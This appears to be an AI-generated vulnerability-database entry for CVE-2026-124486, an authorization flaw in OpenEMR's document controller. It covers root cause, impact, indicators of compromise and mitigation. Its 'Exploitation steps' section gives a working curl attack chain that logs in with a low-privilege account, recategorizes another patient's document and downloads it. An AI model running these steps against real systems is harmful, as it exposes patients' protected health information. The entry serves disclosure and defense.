Vulnerability DatabaseCVE-2026-124486

CVE-2026-124486: 
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-124486 is a missing authorization vulnerability in OpenEMR's classic document controller that allows low-privilege authenticated users to recategorize other patients' documents and exfiltrate protected health information (PHI). It affects all OpenEMR versions before 8.3.0 and was published on November 8, 2026, with the security advisory (GHSA-89j2-7cg2-mm93) originally published by bradymiller on August 18, 2026. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) and a CVSS v4.0 base score of 8.7 (High) (GitHub Advisory, OpenEMR Advisory).

Technical details

The root cause is CWE-862 (Missing Authorization): the classic controller's CONTROLLER_ACL_MAP in Controller.class.php omits the document controller entirely, causing checkControllerAcl() to return immediately without enforcing any ACL gate on controller=document requests. The move_action_process() function in C_Document.class.php then executes an UPDATE categories_to_documents SQL statement without verifying source-document ownership, source patient context, or write authorization. A second flaw in retrieve_action() only enforces the document-to-patient binding when patient_id !== null; the dispatcher converts an empty patient_id= parameter to null, bypassing the binding check entirely. Together, these two flaws allow an attacker to first move a victim's document into a patients|demo category (which the attacker can read) and then retrieve it by supplying an empty patient_id (OpenEMR Advisory).

Impact

A low-privilege authenticated staff account can silently reclassify any patient's document into a demo-readable category and download the file bytes, resulting in cross-patient PHI disclosure and persistent chart tampering. The category change is durable — it persists in the database even after the attacker's session ends — meaning the document's visibility is permanently altered for all users. Because OpenEMR is a healthcare records platform, successful exploitation directly threatens HIPAA-regulated patient data including medical records, lab reports, and patient identification documents (OpenEMR Advisory, GitHub Advisory).

Exploitability

A proof-of-concept exploit is publicly available in the OpenEMR security advisory (GHSA-89j2-7cg2-mm93), documented as a step-by-step curl-based attack chain (OpenEMR Advisory). The PoC was validated against commit acdd99694b45e1f384060e10ca1af1b0de629069 and requires only a valid low-privilege staff account and knowledge of a target document_id. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.246–0.379%, placing it in the 33rd percentile for exploitation probability (GitHub Advisory).

Exploitation steps

  1. Obtain a low-privilege account: Acquire or compromise a low-privilege staff account on the target OpenEMR instance (e.g., an accounting or front-desk role with patients|demo access but no patients|docs access).
  2. Authenticate and capture session cookie: POST credentials to /interface/main/main_screen.php?auth=login&site=default with authUser and clearPass parameters, saving the returned session cookie jar:
    curl -k -sS -c cookies.txt -X POST 'https://<target>/interface/main/main_screen.php?auth=login&site=default' \
      --data-urlencode 'authUser=accounting_demo' --data-urlencode 'clearPass=pass'
  3. Identify a target document ID: Enumerate or guess a document_id belonging to another patient (e.g., via the OpenEMR UI or by observing document IDs in normal workflow).
  4. Recategorize the victim document: Send a crafted POST to controller.php invoking move_action_process() with new_category_id set to a patients|demo category (e.g., 5 for "Patient ID card") and the victim's document_id. Despite returning HTTP 403, the database row is updated:
    curl -k -sS -b cookies.txt -X POST \
      'https://<target>/controller.php?controller=document&action=move&patient_id=0&document_id=4242&process=true' \
      --data-urlencode 'new_category_id=5'
  5. Retrieve the exfiltrated document: Send a GET request with patient_id= (empty) to bypass the document-to-patient binding check and download the file bytes:
    curl -k -sS -b cookies.txt \
      'https://<target>/controller.php?controller=document&action=retrieve&patient_id=&document_id=4242&as_file=true'
  6. Confirm exfiltration: The server returns HTTP 200 with the file contents of the victim patient's document (OpenEMR Advisory).

Indicators of compromise

  • Network: HTTP POST requests to /controller.php?controller=document&action=move with process=true and a new_category_id pointing to a patients|demo category (e.g., 4, 5, or 10) from a user account that does not normally perform document management; HTTP GET requests to /controller.php?controller=document&action=retrieve with an empty patient_id= parameter.
  • Logs: Apache/web server access logs showing HTTP 403 responses to move requests immediately followed by HTTP 200 responses to retrieve requests for the same document_id from the same session; repeated access to controller.php with controller=document by low-privilege accounts.
  • Database: Unexpected changes in the categories_to_documents table where a document's category_id shifts from a patients|docs category (e.g., category 1–3) to a patients|demo category (e.g., category 4, 5, or 10) without a corresponding administrative action in audit logs.
  • File System: Access timestamps updated on patient document files in /sites/default/documents/<pid>/ directories belonging to patients other than those the accessing user is authorized to view (OpenEMR Advisory).

Mitigation and workarounds

Upgrade to OpenEMR 8.3.0 or later, which adds the document controller to CONTROLLER_ACL_MAP and enforces proper ownership checks in move_action_process() and retrieve_action() (OpenEMR Advisory, GitHub Advisory). If immediate patching is not possible, implement network-level access controls to restrict which authenticated roles can reach the controller.php?controller=document endpoints, and audit the categories_to_documents table for unexpected category changes. Additionally, review and restrict staff account permissions to limit exposure to accounts that genuinely require document access.

Community reactions

The vulnerability was reported by christos-cantina-security and published by OpenEMR maintainer bradymiller via GitHub Security Advisories on August 18, 2026. A Mastodon post from @thehackerwire noted the disclosure shortly after publication. No major vendor statements beyond the official advisory or significant analyst commentary have been identified at this time (OpenEMR Advisory).

Additional resources


Source: This report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-126491HIGH8.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126494HIGH7.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126492HIGH7.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126493MEDIUM4.8
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026
CVE-2026-126490LOW2.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesNov 13, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management